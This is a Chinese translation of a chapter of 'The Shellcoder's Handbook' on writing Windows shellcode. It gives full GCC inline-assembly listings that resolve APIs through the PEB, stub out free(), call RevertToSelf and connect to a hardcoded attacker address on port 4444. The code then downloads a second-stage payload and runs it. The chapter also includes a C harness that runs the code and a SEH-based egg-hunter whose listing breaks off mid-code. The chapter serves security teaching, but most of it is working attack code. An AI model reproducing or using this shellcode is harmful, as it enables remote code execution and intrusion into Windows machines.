admin 管理员组

文章数量: 887294


2024年2月7日发(作者:lmgpaly)

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

7

Windows Shellcode

本书一位作者的女友经常说写shellcode很容易,凭心而论,在Linux上是不太难,但在Windows上还是有一定难度的,有时候会使人垂头丧气。在开始学习本章之前,我们将先回顾一些shellcode的要点,然后研究Windows shellcode那令人着迷的特性。沿着这条主线,我们还将讨论AT&T与Intel句法间的不同,某些Win32漏洞给我们带来的影响,并探讨高级Windows shellcode的发展方向。

句法和过滤器

首先,不使用编码器/译码器又能工作,而体积又很小的windows Shellcode少之又少。无论如何,如果有许多破解代码需要你去完成,你可能会想到在破解代码中采用编码器/译码器 API来避免经常调整shellcode。例如Immunity CANVAS就使用了“附加的”编码器/译码器。也就是说,它把shellcode视为一组unsigned long列表,把列表中的每个unsigned long加上x(x可以通过不断重试随机数来找到),经过这样的处理,会得到一组新的没有坏字符的unsigned long列表。虽然编码器/译码器工作得很好,但还是有人乐意使用XOR、character-或word-based之类的方法。

重要的是:应该牢记译码器只是把x扩展到不同字符范围的y=f(x)函数。如果x仅仅包含小写字母,那么可以把f(x) 看作是把小写字母转换成二进制字符并转到那里的函数;当然,也可以把f(x) 看作是把小字字母转换成大字字母并转到那里的函数。换句话说,当你遇到设置严密的过滤器(译注:现在有很多程序在接受用户输入时,会过滤一些恶意字符)时,不要急于一次解决所有的问题,尝试使用多重解码,把攻击串分段转换为二进制等方法,可能会更容易些。

在本章,我们不介绍编码器/译码器,并假设你知道怎样把二进制数据复制到进程空间并跳到它。只要你会写Linux shellcode,就应该能编写x86汇编代码。我写windows shellcode和写Linux shellcode一样,使用相同的工具。从长远来看,熟练掌握几种工具会使编写shellcode变得更轻松。依我之见,不必花大把的钞票购买Visual Studio,免费的Cygwin就不错。安装Cygwin可能有点慢,所以你可以试着运行某个程序(gcc,()as,或其它),来确认安装是否完成。当然,有些人喜欢用NASM或其它的工具,但我认为这些工具在编辑代码及测试时略有不便。

X86 AT&T 与Intel 句法的对比

在X86汇编代码格式里,AT&T与Intel句法有两个主要的不同点。第一个是AT&T句法使用[助记符source,dest];而Intel使用[助记符dest,source]。当人们用GUN的gas(AT&T使用),OllyDbg(Intel 使用)或其它的Windows工具查看汇编代码时,这种互相颠倒的形欢迎访问,翻译@。

103

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

式可能会使人摸不着头脑。当然,假如你可以灵活转换这种形式,那么在At&T与Intel之间还有另外一个重要的不同点:寻址。

X86的寻址有如下的形式:两个寄存器,一个位移量,一个比例因子,如1,2,4或8。所以,mov eax,[ecx+ebx*4+5000] (OllyDbg中的Intel 句法)等同于mov

5000(%ecx,%ebx,4),%eax (GUN AS中的AT&T句法)。

我建议大家学习AT&T句法,理由是它的句法清晰(译注:选择最适合自己的,而不是人云亦云。)。考虑一下mov eax,[ecx+ebx],哪个是基址寄存器,哪个是变址寄存器?特别是在缺少特征时(avoid character),更容易引起混淆。出现这种情形的主要原因还是因为寻址的问题:两个寄存器似乎是一样的,可以互换;但实际上如果互换,生成的机器指令将完全不同。

7.1 创建

我们在开始写Windows shellcode时,通常会碰到一个大问题,Win32不提供直接的系统调用。而真正令人惊奇的是,这是由许多人讨论后决定的。正如Windows的一贯风格那样,这个特性有令人讨厌的一面,也有值得称赞的一面。值得称赞的是,它使Win32系统设计者在修复漏洞或扩展内部系统调用API时,不会影响现有的程序。

为了使shellcode在其它程序中运行,需要对其做适当修整,例如:

它必须可以找到需要的Win32 API函数,并生成调用表。

为了建立连接,它必须能加载需要的函数库。

它必须可以连接远程服务器,下载并执行后续的shellcode。

它必须确保自己可以正常退出,并使原来的进程继续运行或终止。

它必须能阻止其它线程对它的终止。

如果它想让后续的Win32调用继续使用堆,它还必须能修复一个或多个堆。

找到需要的Win32 API函数,一般是指在shellcode中硬编码这些函数的地址,或者是硬编码Windows某个版本的GetProcAddressA()和LoadLibraryA()地址。编写Windows

shellcode最快速的方法之一是硬编码函数地址,当然,这种方法不适合特殊的可执行文件或某些版本的Windows。正如SQL Slammer蠕虫显示的那样,硬编码函数地址有时候非常有用。

注解:Slammer 的源代码在互联网上广为流传,它是非常好的、学习硬编码函数地址的例子。

但在shellcode中硬编码函数地址,将使shellcode依赖特定的可执行文件或操作系统版本。为了避免这种情形发生,我们只能改用其它方法。一种方法是在进程里模拟链接正常的DLL,然后找出函数的位置。另一种方法是搜索函数使用的内存空间,通过寻找进程环境块(Process environment block,PEB)(中国黑客经常用这个方法)找出函数的位置。在随后的章节中,我们还将介绍怎样利用Windows异常处理系统(exception-handling

system)搜索整个内存空间。

欢迎访问,翻译@。

104

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

7.2 剖析PEB

下面的例子源自CANVAS中的Windows shellcode,在分析这些代码之前,先介绍一下当时的想法:

可靠性是关键。它必须在没有外部支援的情况下正常工作。

扩展性很重要。当你在某些无法预料的情况下,想定制Shellcode时,就能体会到扩展性的重要了。

长度也很重要—当然是越小越好。但压缩长度需要花时间,也可能使Shellcode显得混乱且难以管理。

因为这些原因,这个例子中的shellcode显得有些臃肿,但接下来你会看到,我们将利用结构异常处理程序(Structured Exception Handler,SEH)捕获shellcode来克服这个问题。如果你花时间学习X86汇编语言并努力研究这个例子,接下来的学习会轻松一些。

注意,这段C源码比较简单,可以在GCC支持的X86平台上进行编辑或编译。现在,我们逐行分析heaoverflow.c,看它到底做了些什么!

7.2.1 Heapoverflow.c 分析

如果是写Win32程序,首先要包含windows.h,我们可以从这个头文件中获得一些常量和常见的数据结构。

//released under the GNU PUBLIC LICENSE v2.0

#include

#include

#ifdef Win32

#include

#endif

我们用GCC的asm()和.set语句来开始shellcode函数。这些语句不生成实际代码,也不占用程序空间;它们的存在,可以使我们比较方便地管理shellcode中使用的常量。

void

getprocaddr()

{

/*GLOBAL DEFINES*/

asm("

.set KERNEL32HASH, 0x000d4e88

.set NUMBEROFKERNEL32FUNCTIONS,0x4

.set VIRTUALPROTECTHASH, 0x38d13c

欢迎访问,翻译@。

105

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

.set GETPROCADDRESSHASH,0x00348bfa

.set LOADLIBRARYAHASH, 0x000d5786

.set GETSYSTEMDIRECTORYAHASH, 0x069bb2e6

.set WS232HASH, 0x0003ab08

.set NUMBEROFWS232FUNCTIONS,0x5

.set CONNECTHASH, 0x0000677c

.set RECVHASH, 0x00000cc0

.set SENDHASH, 0x00000cd8

.set WSASTARTUPHASH, 0x00039314

.set SOCKETHASH, 0x000036a4

.set MSVCRTHASH, 0x00037908

.set NUMBEROFMSVCRTFUNCTIONS, 0x01

.set FREEHASH, 0x00000c4e

.set ADVAPI32HASH, 0x000ca608

.set NUMBEROFADVAPI32FUNCTIONS, 0x01

.set REVERTTOSELFHASH, 0x000dcdb4

");

这里是真正起作用的代码—位置无关性代码(Position Independent Code,PIC),它的作用是将%ebx设为当前的位置(地址)。设置完成后,其它的局部变量可以参考(引用)%ebx。这和编译器所做的工作类似。

/*START OF SHELLCODE*/

asm("

mainentrypoint:

call geteip

geteip:

pop %ebx

因为我们现在不知道esp指向哪里,为了避免在调用函数时产生错误,我们需要先把它规格化(normalize)。即使是在getPC代码里,这也是个问题,因此,为了使%esp指向你的破解,你可能想在Shellcode前部包含sub $50,%esp。但是,如果你占用太大的地方(我们在这里使用0x1000),在试图向栈写数据时,可能会超出范围,导致访问违例(access

violation)。当然,我们在这里选择的值,在绝大多数情况下是可以正常工作的。

movl %ebx,%esp

subl $0x1000,%esp

奇怪的是,为了使ws2_里的一些函数正常工作,%esp必须被对齐(这很可能是ws2_的漏洞)。我们这样做:

and $0xffffff00,%esp

欢迎访问,翻译@。

106

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

到这一步,我们就可以着手填充函数表了。首先要在里找到所需函数的地址,我们用三个函数完成这个工作。先把ecx设置为哈希列表中的函数个数,然后进入循环。每次循环时,我们把(不要忘了.dll)的哈希值以及所需函数名的哈希值传给getfuncaddress()。当程序返回函数地址后,我们把它放入%edi指向的函数表中。注意,这种方法生成的地址格式是统一的。LABEL-geteip(%ebx)总是指向LABEL,这样一来,你就可以用LABEL访问存贮的变量了。

//set up them loop

movl $NUMBEROFKERNEL32FUNCTIONS,%ecx

lea KERNEL32HASHESTABLE-geteip(%ebx),%esi

lea KERNEL32FUNCTIONSTABLE-geteip(%ebx),%edi

//run the loop

getkernel32functions:

//push the hash we are looking for, which is pointed to by %esi

pushl (%esi)

pushl $KERNEL32HASH

call getfuncaddress

movl %eax,(%edi)

addl $4, %edi

addl $4, %esi

loop getkernel32functions

我们现在有一个函数表,它由中的函数组成,我们在这个函数表里可以找到MSVCRT中的函数。注意,这里也是用循环结构处理的。这里调用了getfuncaddress(),我们下次碰到它时再仔细研究,现在假设它能正常工作就可以了。

//GET MSVCRT FUNCTIONS

movl $NUMBEROFMSVCRTFUNCTIONS,%ecx

lea MSVCRTHASHESTABLE-geteip(%ebx),%esi

lea MSVCRTFUNCTIONSTABLE-geteip(%ebx),%edi

getmsvcrtfunctions:

pushl (%esi)

pushl $MSVCRTHASH

call getfuncaddress

movl %eax,(%edi)

addl $4, %edi

addl $4, %esi

欢迎访问,翻译@。

107

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

loop getmsvcrtfunctions

在堆溢出过程中,为了获得控制权,可能会破坏堆。但如果你不是操作堆的唯一线程,当在堆上分配空间的其它线程试图调用free()时,可能会出麻烦。为了防止这种问题发生,我们可以用操作码 0xc3 替换free()的function prelude,使free()在不访问堆的情况下正常返回。

要达到上述目的,我们需要修改free()所在(内存)页的保护模式。和其它包含可执代码的内存页一样,free()所在的内存页被标记为只读和执行,因此,我们必须把它改成+rwx,我们用Virtualprotect函数做这件事。Virtualprotect函数在MSVCRT之中,但因为在前面我们已经把MSVCRT的函数填入函数表了,所以Virtualprotect函数应该在我们的函数表中。我们在自己的内部数据结构中临时存贮指向free()的指针(我们不会同时重设页面的权限)。

//QUICKLY!

//VIRTUALPROTECT FREE +rwx

lea BUF-geteip(%ebx),%eax

pushl %eax

pushl $0x40

pushl $50

movl FREE-geteip(%ebx),%edx

pushl %edx

call *VIRTUALPROTECT-geteip(%ebx)

//restore edx as FREE

movl FREE-geteip(%ebx),%edx

//overwrite it with return!

movl $0xc3c3c3c3,(%edx)

//we leave it +rwx

通过修改相关代码,我们使free()在不访问堆的情况下正常返回。这将使我们在控制程序中,防止其它线程引起访问违例。

Shellcode尾部是字符串。我们想加载它(此时,它还没有被加载)并对它初始化,然后利用它连向我们已在监听TCP端口的主机。不幸的是,我们在此碰到了一些麻烦,在某些破解里,如 RPC LOCATOR 破解,在调用RevertToSelf()前并不能加载ws2_。这是因为你所在的locator线程只能暂时模拟匿名用户处理你的请求,而匿名用户是没有权限读任何文件的。因此,我们只能假设已被加载,然后利用它寻找RevertToSelf。不加载的情况很少见,假如不幸被你碰到了,将导致这部分Shellcode崩溃。当然,你可以事先做一下检查,确保在RevertToSelf的指针不为0时调用它。我们在这里没有做检查,因为这只会增加Shellcode的长度而对我们并没有太大的帮助。

欢迎访问,翻译@。

108

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

//Now, we call the RevertToSelf() function so we can actually do some-thing

on the machine

//You can't read ws2_ in the locator exploit without this.

movl $NUMBEROFADVAPI32FUNCTIONS,%ecx

lea ADVAPI32HASHESTABLE-geteip(%ebx),%esi

lea

getadvapi32functions:

pushl (%esi)

pushl $ADVAPI32HASH

call getfuncaddress

movl %eax,(%edi)

addl $4,%esi

addl $4,%edi

loop getadvapi32functions

call *REVERTTOSELF-geteip(%ebx)

ADVAPI32FUNCTIONSTABLE-geteip(%ebx),%edii

现在,我们以进程属主的身份运行,也有权限读ws2_。但在某些Windows系统上,如果没有指定完整的路径,LoadLibraryA()会因路径中存在点号(.)而找不到ws2_。这意味着我们还必须先用GetSystemDirectoryA()处理ws2_字符串。我们在Shellcode尾部的临时缓冲区(BUF)里进行这些操作。

//call getsystemdirectoryA, then prepend to ws2_

pushl $2048

lea BUF-geteip(%ebx),%eax

pushl %eax

call *GETSYSTEMDIRECTORYA-geteip(%ebx)

//ok, now buf is loaded with the current working system directory

//we now need to append WS2_ to that, because

//of a bug in LoadLibraryA, which won't find WS2_ if there is a

//dot in that path

lea BUF-geteip(%ebx),%eax

findendofsystemroot:

cmpb $0,(%eax)

je foundendofsystemroot

inc %eax

jmp findendofsystemroot

foundendofsystemroot:

//eax is now pointing to the final null of C:windowssystem32

欢迎访问,翻译@。

109

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

lea WS2_32DLL-geteip(%ebx),%esi

strcpyintobuf:

movb (%esi), %dl

movb %dl,(%eax)

test %dl,%dl

jz donewithstrcpy

inc %esi

inc %eax

jmp strcpyintobuf

donewithstrcpy:

//loadlibrarya("c:winntsystem32ws2_");

lea BUF-geteip(%ebx),%edx

pushl %edx

call *LOADLIBRARY-geteip(%ebx)

到这一步,我们知道ws2_已经被加载,当我们需要建立连接时,就可以从中加载函数了。

movl $NUMBEROFWS232FUNCTIONS,%ecx

lea WS232HASHESTABLE-geteip(%ebx),%esi

lea WS232FUNCTIONSTABLE-geteip(%ebx),%edi

getws232functions:

//get getprocaddress

//hash of getprocaddress

pushl (%esi)

//push hash of

pushl $WS232HASH

call getfuncaddress

movl %eax,(%edi)

addl $4, %esi

addl $4, %edi

loop getws232functions

//ok, now we set up BUFADDR on a quadword boundary

//esp will do since it points far above our current position

movl %esp,BUFADDR-geteip(%ebx)

欢迎访问,翻译@。

110

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

//done setting up BUFADDR

当然,你必须调用WSASTARTUP得到ws2_ 回转区(rolling)。即使ws2_已经被初始化,再次调用WSASTARTUP也不会带来任何危害。

movl BUFADDR-geteip(%ebx), %eax

pushl %eax

pushl $0x101

call *WSASTARTUP-geteip(%ebx)

//call socket

pushl $6

pushl $1

pushl $2

call *SOCKET-geteip(%ebx)

movl %eax,FDSPOT-geteip(%ebx)

现在,我们调用connect()函数,它将使用保存在shellcode尾部的、硬编码过的IP地址。在实际使用时,你应该把它换成你指定的IP地址和端口。如果调用connect()失败,程序将跳到exitthread,引起异常并崩溃。有时你想调用ExitProcess(),有时为了处理进程而引起异常。

//call connect

//push addrlen=16

push $0x10

lea SockAddrSPOT-geteip(%ebx),%esi

//the 4444 is our port

pushl %esi

//push fd

pushl %eax

call *CONNECT-geteip(%ebx)

test %eax,%eax

jl exitthread

到这里,对第一部分shellcode的分析结束了,我们接下来分析保存在远程服务器上的后续shellcode。

欢迎访问,翻译@。

111

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

pushl $4

call recvloop

//ok, now the size is the first word in BUF

Now that we have the size, we read in that much shellcode into the buffer.

movl BUFADDR-geteip(%ebx),%edx

movl (%edx),%edx

//now edx has the size

push %edx

//read the data into BUF

call recvloop

//Now we just execute it.

movl BUFADDR-geteip(%ebx),%edx

call *%edx

至此,我们把控制权正式交给了后续的shellcode。在一般情况下,后续shellcode首先会重复前面做过的大部分工作。

看过shellcode的概貌后,我们再来重点看一下shellcode中用到的一些函数。下面是recvloop函数的代码,它接受调用者传递的参数—需要读取数据的大小,并用外部的“全局”变量控制读入的数据放在那。就象connect()函数那样,如果recvloop发现错误也会跳到exitthread。

//recvloop function

asm("

//START FUNCTION RECVLOOP

//arguments: size to be read

//reads into *BUFADDR

recvloop:

pushl %ebp

movl %esp,%ebp

push %edx

push %edi

//get arg1 into edx

欢迎访问,翻译@。

112

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

movl 0x8(%ebp), %edx

movl BUFADDR-geteip(%ebx),%edi

callrecvloop:

//not an argument- but recv() messes up edx! So we save it off here

pushl %edx

//flags

pushl $0

//len

pushl $1

//*buf

pushl %edi

movl FDSPOT-geteip(%ebx),%eax

pushl %eax

call *RECV-geteip(%ebx)

//prevents getting stuck in an endless loop if the server closes the connection

cmp $0xffffffff,%eax

je exitthread

popl %edx

//subtract how many we read

sub %eax,%edx

//move buffer pointer forward

add %eax,%edi

//test if we need to exit the function

//recv returned 0

test %eax,%eax

欢迎访问,翻译@。

113

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

je donewithrecvloop

//we read all the data we wanted to read

test %edx,%edx

je donewithrecvloop

jmp callrecvloop

donewithrecvloop:

//done with recvloop

pop %edi

pop %edx

mov %ebp, %esp

pop %ebp

ret $0x04

//END FUNCTION

接下来是我们前面提到过的getfuncaddress(),它根据DLL和函数名的哈希值找出函数指针的地址。因为它做的很多工作都不符合常规,所以它可能是shellcode中最容易引起混淆的函数了。它依赖于fs:[0x30],因为Windows程序在运行时,fs:[0x30]指向进程环境块(Process Environment Block,PEB),我们根据fs:[0x30]可以找到已载入内存的模块。然后,通过比较每个模块的哈希值来寻找。我们的哈希函数有一个简单的标记,用来区分哈希Unicode或纯ASCII字符。

当然,也可以选用其它的方法,而且有的还很精练。例如,Halvar Flake用16-bit的哈希值,可以节省一些空间;也有些方法通过分析PE头部寻找所需的指针。其实不必通过分析PE头部来获取每个函数的指针—只需找到GetProcAddress(),通过它就可以找到其它的函数指针了。

/* fs[0x30] is pointer to PEB

*that + 0c is _PEB_LDR_DATA pointer

*that + 0c is in load order module list pointer

可以从下面的网址获取进一步信息:

/art/asembler/anti_

/ocument/doc/

通常,按如下步骤操作:

1. 从当前的模块(fs:0x30)得到PE头部。

2. 转到PE头部。

3. 转到输出表(export table),得到nBase值。

欢迎访问,翻译@。

114

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

4. 得到arrayofNames,寻找需要的函数。

*/

//void* GETFUNCADDRESS( int hash1,int hash2)

/*START OF CODE THAT GETS THE ADDRESSES*/

//arguments

//hash of dll

//hash of function

//returns function address

getfuncaddress:

pushl %ebp

movl %esp,%ebp

pushl %ebx

pushl %esi

pushl %edi

pushl %ecx

pushl %fs:(0x30)

popl %eax

//test %eax,%eax

//JS WIN9X

NT:

//get _PEB_LDR_DATA ptr

movl 0xc(%eax),%eax

//get first module pointer list

movl 0xc(%eax),%ecx

nextinlist:

//next in the list into %edx

movl (%ecx),%edx

欢迎访问,翻译@。

115

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

//this is the unicode name of our module

movl 0x30(%ecx),%eax

//compare the unicode string at %eax to our string

//if it matches , then we have our module address at 0x18+%ecx

//call hash match

//push unicode increment value

pushl $2

//push hash

movl 8(%ebp),%edi

pushl %edi

//push string address

pushl %eax

call hashit

test %eax,%eax

jz foundmodule

//otherwise check the next node in the list

movl %edx,%ecx

jmp nextinlist

//FOUND THE MODULE, GET THE PROCEDURE

foundmodule:

//we are pointing to the winning list entry with ecx

//get the base address

movl 0x18(%ecx),%eax

//we want to save this off since this is our base that we will have to add

push %eax

//ok, we are now pointing at the start of the module (the MZ for

//the dos header IMAGE_DOS_HEADER.e_lfanew is what we want

//to go parse (the PE header itself)

欢迎访问,翻译@。

116

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

movl 0x3c(%eax),%ebx

addl %ebx,%eax

//%ebx is now pointing to the PE header (ascii PE)

//PE->export table is what we want

//0x150-0xd8=0x78 according to OllydDbg

movl 0x78(%eax),%ebx

//eax is now the base again!

pop %eax

push %eax

addl %eax,%ebx

//this eax is now the Export Directory Table

//From MS PE-COFF table, 6.3.1 (search for pecoff at MS Site to download)

//Offset Size Field Description

//16 4 Ordinal Base (usually set to one!)

//24 4 Number of Name pointers (also the number of ordi-nals)

//28 4 Export Address Table RVA Address of the EAT rela-tive to base

//32 4 Name Pointer Table RVA Addresses (RVA's) of Names!

//36 4 Ordinal Table RVA You need the ordinals to get the

addresses

//theoretically we need to subtract the ordinal base, but it turns out they

don't actually use it

//movl 16(%ebx),%edi

//edi is now the ordinal base!

movl 28(%ebx),%ecx

//ecx is now the address table

movl 32(%ebx),%edx

//edx is the name pointer table

movl 36(%ebx),%ebx

//ebx is the ordinal table

欢迎访问,翻译@。

117

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

//eax is now the base address again

//correct those RVA's into actual addresses

addl %eax,%ecx

addl %eax,%edx

addl %eax,%ebx

////HERE IS WHERE WE FIND THE FUNCTION POINTER ITSELF

find_procedure:

//for each pointer in the name pointer table, match against our hash

//if the hash matches, then we go into the address table and get the

//address using the ordinal table

movl (%edx),%esi

pop %eax

pushl %eax

addl %eax,%esi

//push the hash increment - we are ascii

pushl $1

//push the function hash

pushl 12(%ebp)

//esi has the address of our actual string

pushl %esi

call hashit

test %eax, %eax

jz found_procedure

//increment our pointer into the name table

add $4,%edx

//increment out pointer into the ordinal table

//ordinals are only 16 bits

add $2,%ebx

欢迎访问,翻译@。

118

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

jmp find_procedure

found_procedure:

//set eax to the base address again

pop %eax

xor %edx,%edx

//get the ordinal into dx

//ordinal=ExportOrdinalTable[i] (pointed to by ebx)

mov (%ebx),%dx

//SymbolRVA = ExportAddressTable[ordinal-OrdinalBase]

//see note above for lack of ordinal base use

//subtract ordinal base

//sub %edi,%edx

//multiply that by sizeof(dword)

shl $2,%edx

//add that to the export address table (dereference in above .c statement)

//to get the RVA of the actual address

add %edx,%ecx

//now add that to the base and we get our actual address

add (%ecx),%eax

//done eax has the address!

popl %ecx

popl %edi

popl %esi

popl %ebx

mov %ebp,%esp

pop %ebp

ret $8

下面是我们使用的哈希函数。它对字符串做简单的处理,并忽略大小写。

//hashit function

欢迎访问,翻译@。

119

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

//takes 3 args

//increment for unicode/ascii

//hash to test against

//address of string

hashit:

pushl %ebp

movl %esp,%ebp

push %ecx

push %ebx

push %edx

xor %ecx,%ecx

xor %ebx,%ebx

xor %edx,%edx

mov 8(%ebp),%eax

hashloop:

movb (%eax),%dl

//convert char to upper case

or $0x60,%dl

add %edx,%ebx

shl $1,%ebx

//add increment to the pointer

//2 for unicode, 1 for ascii

addl 16(%ebp),%eax

mov (%eax),%cl

test %cl,%cl

loopnz hashloop

xor %eax,%eax

mov 12(%ebp),%ecx

cmp %ecx,%ebx

jz donehash

//failed to match, set eax==1

inc %eax

donehash:

pop %edx

欢迎访问,翻译@。

120

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

pop %ebx

pop %ecx

mov %ebp,%esp

pop %ebp

ret $12

下面这段代码是用C语言写的哈希函数,功能和上面的代码类似。需要进行哈希处理的shellcode可能会用到不同的哈希函数。虽然大部分的哈希函数都可以很好的工作,但我们在这里选择的是一个体积较小、容易用汇编语言实现的哈希函数。

#include

main(int argc, char **argv)

{

char * p;

unsigned int hash;

if (argc<2)

{

printf("Usage: ");

exit(0);

}

p=argv[1];

hash=0;

while (*p!=0)

{

//toupper the character

hash=hash + (*(unsigned char * )p | 0x60);

p++;

hash=hash << 1;

}

printf("Hash: 0x%8.8xn",hash);

}

如果我们需要自己处理ExitThread()或ExitProcess(),那我们可以用自己的函数替换下面的结束函数。然而,在一般情况下,下面的代码足够用了。

exitthread:

//just cause an exception

xor %eax,%eax

call *%eax

欢迎访问,翻译@。

121

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

接下来的是一些与实际情况相关的数据,如IP地址等。要真正使用这个shellcode,你必须用实际的IP地址和端口替换下面的sockaddr数据。

SockAddrSPOT:

//first 2 bytes are the PORT (then AF_INET is 0002)

.long 0x44440002

//server ip 651a8c0 is 192.168.1.101

.long 0x6501a8c0

KERNEL32HASHESTABLE:

.long GETSYSTEMDIRECTORYAHASH

.long VIRTUALPROTECTHASH

.long GETPROCADDRESSHASH

.long LOADLIBRARYAHASH

MSVCRTHASHESTABLE:

.long FREEHASH

ADVAPI32HASHESTABLE:

.long REVERTTOSELFHASH

WS232HASHESTABLE:

.long CONNECTHASH

.long RECVHASH

.long SENDHASH

.long WSASTARTUPHASH

.long SOCKETHASH

WS2_32DLL:

.ascii "ws2_"

.long 0x00000000

endsploit:

//nothing below this line is actually included in the shellcode, but it

//is used for scratch space when the exploit is running.

MSVCRTFUNCTIONSTABLE:

FREE:

.long 0x00000000

欢迎访问,翻译@。

122

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

KERNEL32FUNCTIONSTABLE:

VIRTUALPROTECT:

.long 0x00000000

GETPROCADDRA:

.long 0x00000000

LOADLIBRARY:

.long 0x00000000

//end of functions table

//this stores the address of buf+8 mod 8, since we

//are not guaranteed to be on a word boundary, and we

//want to be so Win32 api works

BUFADDR:

.long 0x00000000

WS232FUNCTIONSTABLE:

CONNECT:

.long 0x00000000

RECV:

.long 0x00000000

SEND:

.long 0x00000000

WSASTARTUP:

.long 0x00000000

SOCKET:

.long 0x00000000

//end of ws2_ functions table

SIZE:

.long 0x00000000

FDSPOT:

.long 0x00000000

BUF:

.long 0x00000000

");

}

欢迎访问,翻译@。

123

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

我们的主程序将在需要时输出Shellcode,或者为了测试的目的调用它。

int main()

{

unsigned char buffer[4000];

unsigned char * p;

int i;

char *mbuf,*mbuf2;

int error=0;

//getprocaddr();

memcpy(buffer,getprocaddr,2400);

p=buffer;

p+=3; /*skip prelude of function*/

//#define DOPRINT

#ifdef DOPRINT

/*gdb ) printf "%dn", endsploit - mainentrypoint -1 */

printf(""");

for (i=0; i<666; i++)

{

printf("x%2.2x",*p);

if ((i+1)%8==0)

printf(""nshellcode+="");

p++;

}

printf(""n");

#endif

#define DOCALL

#ifdef DOCALL

((void(*)())(p)) ();

#endif

}

7.3 利用Windows异常处理进行搜索

欢迎访问,翻译@。

124

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

像你看到的那样,刚才讨论的shellcode比预想的要大。为了解决这个问题,我们可以用搜索内存的方法定位shellcode。下面是执行步骤:

1. 脆弱的程序正常执行。

2. 注入用于搜索的Shellcode。

3. 执行第一段Shellcode。

4. 下载并执行后续的Shellcode。

对Windows shellcode来说,搜索代码可以很小。在编码之后译码之前,它的长度可以控制在150个字节之内,基本上可用于任何情形。如果在特殊情况下需要更小的shellcode,还可以硬编码函数地址,当然,这样一来,shellcode将依赖具体的service-pack了。

为了便于在内存中寻找shellcode,需要在shellcode的头尾各加一个8字节的标记。

#include

/*

* Released under the GPL V2.0

* Copyright Immunity, Inc. 2002-2003

*

Works under SE handling.

Put location of structure in fs:0

Put structure on stack

When called you can pop 4 arguments from the stack

_except_handler(

typedef struct _CONTEXT

{

DWORD

DWORD

DWORD

DWORD

ContestFlags;

Dr0;

Dr1;

Dr2;

struct _EXCEPTION_RECORD *ExceptionRecord,

void * EstablisherFrame,

struct _CONTEXT *ContextRecord,

void * DispatcherContext();

DWORD Dr3;

DWORD Dr6;

DWORD Dr7;

FLOATING_SAVE_AREA FloatSave;

DWORD segGs;

DWORD SegFs;

DWORD SegEs;

DWORD SegDs;

欢迎访问,翻译@。

125

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

DWORD Edi;

DWORD Esi;

DWORD Ebx;

DWORD Edx;

DWORD Ecx;

DWORD Eax;

DWORD Ebp;

DWORD Eip;

DWORD SegCs;

DWORD EFlags;

DWORD Esp;

DWORD SegSs;

} CONTEXT;

在异常发生后返回0,然后继续执行。

注意:当我们反向搜索TAG1和TAG2时,将不会正确匹配我们的Shellcode,而且还可能会破坏Shellcode。

要重点注意的是,异常处理结构(-1,address)必须在当前线程的栈上。如果你曾改过ESP,那么在这里,需要调整线程信息块(thread information block)里当前线程的栈。另外,你还需要仔细处理讨厌的对齐(alignment)问题。这些因素综合起来,又会使Shellcode的长度增加一些。比较好的策略是将PEB与RtlEnterCriticleSection锁定在一起,如下:

**/

#define DOPRINT

// #define DORUN

Void

shellcode()

{

/* GLOBAL DEFINES */

asm(“

.set KERNEL32HASH, 0x000d4e88

“);

/* START OF SHELLCODE */

asm(“

K=0x7ffdf020;

*(int *)k=RtlEnterCriticalSectionadd;

欢迎访问,翻译@。

126

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

mainentrypoint:

//time to fill our function pointer table

sub $0x50,%esp

call geteip

geteip:

pop %ebx

//ebx now has out base!

//remove any chance of esp being below us, and thereby

//having WSASoccket or other functions use us as their stack

//which sucks

movl %ebx,%esp

subl $0x1000,%esp

//esp must be aligned for win32 functions to not crash

and $0xffffff00,%esp

takeexceptionhandler:

//this code gets control of the exception handler

//load the address of our exception registration block into fs:0

lea exceptionhandler-geteip(%ebx),%eax

//push the address of our exception handler

push %eax

//we are the last handler, so we push -1

push $-1

//move it all into place…

mov %esp,%fs:(0)

//Now we have to adjust our thread information block to reflect we may

be anywhere in memoy

//As of Windows XP SP1, you cannot have your exception handler itself on

//the stack – but most versions of windows check to make sure your

//exception block is on the stack.

addl $0xc,%esp

movl %esp, %fs:(4)

subl $0xc,%esp

//now we fix the bottom of thread stack to be right after our She block

movl %esp,%fs:(8)

“);

//search loop

asm(“

startloop:

欢迎访问,翻译@。

127

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(七)

xor %esi,%esi

mov TAG1-geteip(%ebx),%edx

mov TAG2-geteip(%ebx),%ecx

memcmp:

//may fault and call our exception handler

mov (%esi),%eax

cmp %eax,%,ecx

jne addaddr

mov 4(%esi),%eax

cmp %eax,%edx

jne addaddr

jmp foundtags

addaddr:

inc %esi

jmp memcmp

foundtags:

lea 8(%esi),%eax

xor %esi,%esi

//clear the exception handler so we don’t worry about that on exit

mov %esi,%fs:(0)

call *%eax

“);

asm(“

//handles the exceptions as we walk through memory

exceptionhandler:

//int $3

mov 0xc(%esp),%eax

//get saved ESI from exception frame into %eax

add $0xa0,%eax

mov (%eax),%edi

//add 0x1000 to saved ESI and store it back

add $0x1000,%edi

mov %edi,(%eax)

